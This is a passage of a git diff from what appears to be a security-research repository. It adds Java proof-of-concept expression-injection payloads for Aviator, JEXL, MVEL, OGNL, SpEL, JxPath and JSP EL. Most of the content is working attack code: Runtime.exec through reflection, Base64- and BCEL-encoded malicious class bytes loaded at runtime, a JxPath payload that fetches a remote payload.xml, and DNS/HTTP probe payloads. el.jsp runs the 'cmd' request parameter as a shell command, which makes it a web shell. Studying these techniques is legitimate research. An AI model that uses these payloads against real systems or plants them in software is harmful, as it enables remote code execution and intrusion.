$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A',true,new com.sun.org.apache.bcel.internal.util.ClassLoader())) + \n" + +// "(c.exec('whoami'))"); + + // test +// AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); +// String payload = "(c=(Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A',true,new com.sun.org.apache.bcel.internal.util.ClassLoader())))+(c.exec('open -a Calculator.app'))"; +// payload = "'b'+(a=new com.sun.org.apache.bcel.internal.util.ClassLoader())+(c=(Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A',true,a)))+(c.exec('open -a Calculator.app'))"; +// payload = "new java.lang.String()"; +// Expression compile = evaluator.compile(payload, true); +// compile.execute(new HashMap(5)); + + /** + * Spring ReflectUtils + */ + AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); + // JDK 8 + evaluator.execute("use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());"); + // JDK 17 +// evaluator.execute("use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;ReflectUtils.defineClass('org.springframework.expression.Test', Base64Utils.decodeFromString('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='), ClassLoader.getSystemClassLoader(), nil, Class.forName('org.springframework.expression.ExpressionParser'));"); + + /** + * AviatorEvaluatorInstance onFunctionMissing + */ +// AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); +// evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance()); +// evaluator.execute("exec(Runtime.getRuntime(), 'open -a Calculator.app')"); + + + /** + * ScriptEngineManager aviator + */ +// ScriptEngineManager m = new ScriptEngineManager(); +// ScriptEngine engine = m.getEngineByName("aviator"); +// engine.eval("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open /System/Applications/Calculator.app\") );"); + + + } +} diff --git a/Expression/ELAttack/pom.xml b/SecVulns/VulnCore/Expression/ELAttack/pom.xml similarity index 97% rename from Expression/ELAttack/pom.xml rename to SecVulns/VulnCore/Expression/ELAttack/pom.xml index c0219a9..09cca68 100644 --- a/Expression/ELAttack/pom.xml +++ b/SecVulns/VulnCore/Expression/ELAttack/pom.xml @@ -1,7 +1,7 @@ - org.example - 1.0-SNAPSHOT + com.ppp + 1.0 4.0.0 ELAttack war diff --git a/Expression/ELAttack/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from Expression/ELAttack/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/WEB-INF/web.xml diff --git a/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/el.jsp b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/el.jsp new file mode 100644 index 0000000..82e0fe7 --- /dev/null +++ b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/el.jsp @@ -0,0 +1,24 @@ +<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %> +

EL 写法

+ +<%--

反射构造Runtime

--%> +<%--${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}--%> +

反射构造Runtime - 外界参数

+${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),pageContext.request.getParameter("cmd"))} + +<%--

命令执行回显 Ref: https://forum.butian.net/share/886

--%> +<%--${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("ifconfig").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}--%> + +<%--

JS引擎

--%> +<%--${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('whoami')")}--%> +<%--

JS引擎 - 回显

--%> +<%--${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec(\"hostname\");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");var result = scanner.hasNext() ? scanner.next() : \"\";scanner.close();result;")}--%> + +<%--

蚁剑

--%> +<%--<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>--%> + +

web路径

+${pageContext.servletContext.getResource("")} + +

环境变量

+${applicationScope} \ No newline at end of file diff --git a/Expression/ELAttack/src/main/webapp/index.jsp b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/index.jsp similarity index 100% rename from Expression/ELAttack/src/main/webapp/index.jsp rename to SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/index.jsp diff --git a/Expression/ELAttack/src/main/webapp/pg-write.jsp b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/pg-write.jsp similarity index 100% rename from Expression/ELAttack/src/main/webapp/pg-write.jsp rename to SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/pg-write.jsp diff --git a/Expression/ELAttack/src/main/webapp/scriptlet.jsp b/SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/scriptlet.jsp similarity index 100% rename from Expression/ELAttack/src/main/webapp/scriptlet.jsp rename to SecVulns/VulnCore/Expression/ELAttack/src/main/webapp/scriptlet.jsp diff --git a/Expression/pom.xml b/SecVulns/VulnCore/Expression/JEXLAttack/pom.xml similarity index 50% rename from Expression/pom.xml rename to SecVulns/VulnCore/Expression/JEXLAttack/pom.xml index 24cbffa..47baf6f 100644 --- a/Expression/pom.xml +++ b/SecVulns/VulnCore/Expression/JEXLAttack/pom.xml @@ -2,21 +2,22 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.expression - Expression - 1.0-SNAPSHOT - pom + com.ppp + JEXLAttack + 1.0 + jar - - ELAttack - OGNLAttack - SPELAttack - JxPathAttack - - - Expression + JEXLAttack UTF-8 + + + + org.apache.commons + commons-jexl3 + 3.0 + + diff --git a/SecVulns/VulnCore/Expression/JEXLAttack/src/main/java/com/ppp/jexl/JEXLAttack.java b/SecVulns/VulnCore/Expression/JEXLAttack/src/main/java/com/ppp/jexl/JEXLAttack.java new file mode 100644 index 0000000..3d2abc9 --- /dev/null +++ b/SecVulns/VulnCore/Expression/JEXLAttack/src/main/java/com/ppp/jexl/JEXLAttack.java @@ -0,0 +1,29 @@ +package com.ppp.jexl; + +import org.apache.commons.jexl3.*; + +/** + * @author Whoopsunix + */ +public class JEXLAttack { + public static void main(String[] args) { + Thread.currentThread().getContextClassLoader().getResource(""); + Thread.currentThread().getContextClassLoader().getParent().getResource(""); + + + String poc = "''.class.forName('java.lang.Runtime').getRuntime().exec('open -a Calculator.app')"; + System.out.println(eval(poc));; + } + + public static Object eval(String poc) { + JexlEngine engine = new JexlBuilder().create(); + JexlExpression Expression = engine.createExpression(poc); + + + JexlContext Context = new MapContext(); + //Context.set("foo", 999); + + Object rs = Expression.evaluate(Context); + return rs; + } +} diff --git a/Expression/JxPathAttack/pom.xml b/SecVulns/VulnCore/Expression/JxPathAttack/pom.xml similarity index 94% rename from Expression/JxPathAttack/pom.xml rename to SecVulns/VulnCore/Expression/JxPathAttack/pom.xml index 9170dd5..1192134 100644 --- a/Expression/JxPathAttack/pom.xml +++ b/SecVulns/VulnCore/Expression/JxPathAttack/pom.xml @@ -2,7 +2,7 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - com.ppp.jxpathdemo + com.ppp JxPathAttack 1.0 jar diff --git a/Expression/JxPathAttack/src/main/java/com/ppp/jxpathdemo/JxPathDemo.java b/SecVulns/VulnCore/Expression/JxPathAttack/src/main/java/com/ppp/jxpath/JxPathAttack.java similarity index 77% rename from Expression/JxPathAttack/src/main/java/com/ppp/jxpathdemo/JxPathDemo.java rename to SecVulns/VulnCore/Expression/JxPathAttack/src/main/java/com/ppp/jxpath/JxPathAttack.java index 0042b26..34f5c22 100644 --- a/Expression/JxPathAttack/src/main/java/com/ppp/jxpathdemo/JxPathDemo.java +++ b/SecVulns/VulnCore/Expression/JxPathAttack/src/main/java/com/ppp/jxpath/JxPathAttack.java @@ -1,4 +1,4 @@ -package com.ppp.jxpathdemo; +package com.ppp.jxpath; import org.apache.commons.jxpath.JXPathContext; @@ -6,7 +6,7 @@ * @author Whoopsunix * CVE-2022-41852 */ -public class JxPathDemo { +public class JxPathAttack { public static class User { String name; @@ -23,7 +23,10 @@ public static void main(String[] args) { // xml // Object object = jxPathContext.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:1234/payload.xml\")"); + } - + public static Object eval(String poc) { + JXPathContext jxPathContext = JXPathContext.newContext(new User()); + return jxPathContext.getValue(poc); } } diff --git a/SecVulns/VulnCore/Expression/MVELAttack/pom.xml b/SecVulns/VulnCore/Expression/MVELAttack/pom.xml new file mode 100644 index 0000000..a943f25 --- /dev/null +++ b/SecVulns/VulnCore/Expression/MVELAttack/pom.xml @@ -0,0 +1,23 @@ + + 4.0.0 + + com.ppp + MVELAttack + 1.0 + jar + + MVELAttack + + + UTF-8 + + + + + org.mvel + mvel2 + 2.2.8.Final + + + diff --git a/SecVulns/VulnCore/Expression/MVELAttack/src/main/java/com/ppp/mvel/MVELAttack.java b/SecVulns/VulnCore/Expression/MVELAttack/src/main/java/com/ppp/mvel/MVELAttack.java new file mode 100644 index 0000000..4db42af --- /dev/null +++ b/SecVulns/VulnCore/Expression/MVELAttack/src/main/java/com/ppp/mvel/MVELAttack.java @@ -0,0 +1,25 @@ +package com.ppp.mvel; + +import org.mvel2.MVEL; + +import java.io.Serializable; +import java.util.HashMap; +import java.util.Map; + +/** + * @author Whoopsunix + */ +public class MVELAttack { + public static void main(String[] args) { + String poc = "Runtime.getRuntime().exec(\"open -a Calculator.app\")"; + System.out.println(eval(poc)); + } + + public static Object eval(String poc) { + Map vars = new HashMap(); + Serializable serializable = MVEL.compileExpression(poc); + vars.put("1", poc); + Object o = MVEL.executeExpression(serializable, vars); + return o; + } +} diff --git a/Expression/OGNLAttack/pom.xml b/SecVulns/VulnCore/Expression/OGNLAttack/pom.xml similarity index 95% rename from Expression/OGNLAttack/pom.xml rename to SecVulns/VulnCore/Expression/OGNLAttack/pom.xml index d5827f2..37fcb13 100644 --- a/Expression/OGNLAttack/pom.xml +++ b/SecVulns/VulnCore/Expression/OGNLAttack/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp OGNLAttack - 1.0-SNAPSHOT + 1.0 jar OGNLAttack diff --git a/SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/Exec.java b/SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/Exec.java new file mode 100644 index 0000000..dcf0a6c --- /dev/null +++ b/SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/Exec.java @@ -0,0 +1,22 @@ +package com.ppp.ognl; + +/** + * @author Whoopsunix + */ +public class Exec { + public Exec() { + try { + System.out.println("Exec"); + Runtime.getRuntime().exec("open -a Calculator.app"); + } catch (Exception e) { + } + } + + static { + try { + System.out.println("static Exec"); + Runtime.getRuntime().exec("open -a Calculator.app"); + } catch (Exception e) { + } + } +} diff --git a/Expression/OGNLAttack/src/main/java/org/example/OGNL.java b/SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/OGNLAttack.java similarity index 77% rename from Expression/OGNLAttack/src/main/java/org/example/OGNL.java rename to SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/OGNLAttack.java index 08e5e2a..6aee675 100644 --- a/Expression/OGNLAttack/src/main/java/org/example/OGNL.java +++ b/SecVulns/VulnCore/Expression/OGNLAttack/src/main/java/com/ppp/ognl/OGNLAttack.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp.ognl; import ognl.Ognl; import ognl.OgnlContext; @@ -6,13 +6,13 @@ /** * @author Whoopsunix */ -public class OGNL { +public class OGNLAttack { - public static void main(String[] args) { - new OGNL().getValueDemo(); + public static void main(String[] args) throws Exception { + new OGNLAttack().getValueDemo(); } - public void getValueDemo(){ + public void getValueDemo() throws Exception { /** * 无回显 get触发 */ @@ -66,7 +66,7 @@ public void getValueDemo(){ System.out.println(obj); } - public void setValueDemo(){ + public void setValueDemo() throws Exception { /** * 无回显 set触发 */ @@ -77,58 +77,37 @@ public void setValueDemo(){ /** * ognl.Ognl#getValue() */ - public static Object ognlGetValue(String payload) { - try { - System.out.println(payload); - Object obj = Ognl.getValue(payload, null); - return obj; - } catch (Exception e) { - e.printStackTrace(); - } - return null; + public static Object ognlGetValue(String payload) throws Exception { + Object obj = Ognl.getValue(payload, null); + return obj; } - public static Object ognlGetValueSafe(String payload) { - try { - System.out.println(payload); - } catch (Exception e) { - e.printStackTrace(); - } + public static Object ognlGetValueSafe(String payload) throws Exception { + return null; } /** * ognl.Ognl#setValue() */ - public static void ognlSetValue(String payload) { - try { - Ognl.setValue(payload, new OgnlContext(), ""); - } catch (Exception e) { - - } + public static void ognlSetValue(String payload) throws Exception { + Ognl.setValue(payload, new OgnlContext(), ""); } /** * org.apache.ibatis.ognl.Ognl.getValue() */ - public static void ognlGetValueIbatis(String payload) throws Exception { - try { - Object obj = org.apache.ibatis.ognl.Ognl.getValue(payload, null); - } catch (Exception e) { - e.printStackTrace(); - } + public static Object ognlGetValueIbatis(String payload) throws Exception { + Object obj = org.apache.ibatis.ognl.Ognl.getValue(payload, null); + return obj; } /** * org.apache.ibatis.ognl.Ognl.setValue() */ public static void ognlSetValueIbatis(String payload) throws Exception { - try { - org.apache.ibatis.ognl.Ognl.setValue(payload, new OgnlContext(), ""); - } catch (Exception e) { - e.printStackTrace(); - } + org.apache.ibatis.ognl.Ognl.setValue(payload, new OgnlContext(), ""); } } diff --git a/Expression/SPELAttack/pom.xml b/SecVulns/VulnCore/Expression/SPELAttack/pom.xml similarity index 95% rename from Expression/SPELAttack/pom.xml rename to SecVulns/VulnCore/Expression/SPELAttack/pom.xml index 6cd0e9b..00fef02 100644 --- a/Expression/SPELAttack/pom.xml +++ b/SecVulns/VulnCore/Expression/SPELAttack/pom.xml @@ -8,9 +8,9 @@ 2.7.13 - com.example + com.ppp SPELAttack - 0.0.1-SNAPSHOT + 1.0 SPELAttack SPELAttack diff --git a/SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/SPELAttack.java b/SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/SPELAttack.java new file mode 100644 index 0000000..28161ec --- /dev/null +++ b/SecVulns/VulnCore/Expression/SPELAttack/src/main/java/com/ppp/spel/SPELAttack.java @@ -0,0 +1,103 @@ +package com.ppp.spel; + +import org.springframework.context.expression.MethodBasedEvaluationContext; +import org.springframework.expression.EvaluationContext; +import org.springframework.expression.Expression; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; + +/** + * @author Whoopsunix + */ +public class SPELAttack { + public static void main(String[] args) { + /** + * 命令执行 + */ + String version = "{T(java.lang.System).getProperty('java.version')}"; + // 无回显 + String runtime = "T(java.lang.Runtime).getRuntime().exec('open -a Calculator.app')"; + // 回显 + String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()"; + String processBuilderEcho = "{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\"bash\", \"-c\", \"whoami\").start().getInputStream(), \"gbk\")).readLine()}"; + + /** + * 探测 + */ + String DNSLOG = "T(java.net.InetAddress).getByName('DNSLOG')"; + String HTTPLOG = "new java.net.URL('http://host').getContent()"; + String HTTPLOG2 = "new org.springframework.web.client.RestTemplate().headForHeaders('http://host')"; + // 延时 + String sleep = "T(java.lang.Thread).sleep(10000)"; + + /** + * 类加载 + */ + // sun.misc.BASE64Decoder + String classLoad1 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',new sun.misc.BASE64Decoder().decodeBuffer('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}"; + String classLoad2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAE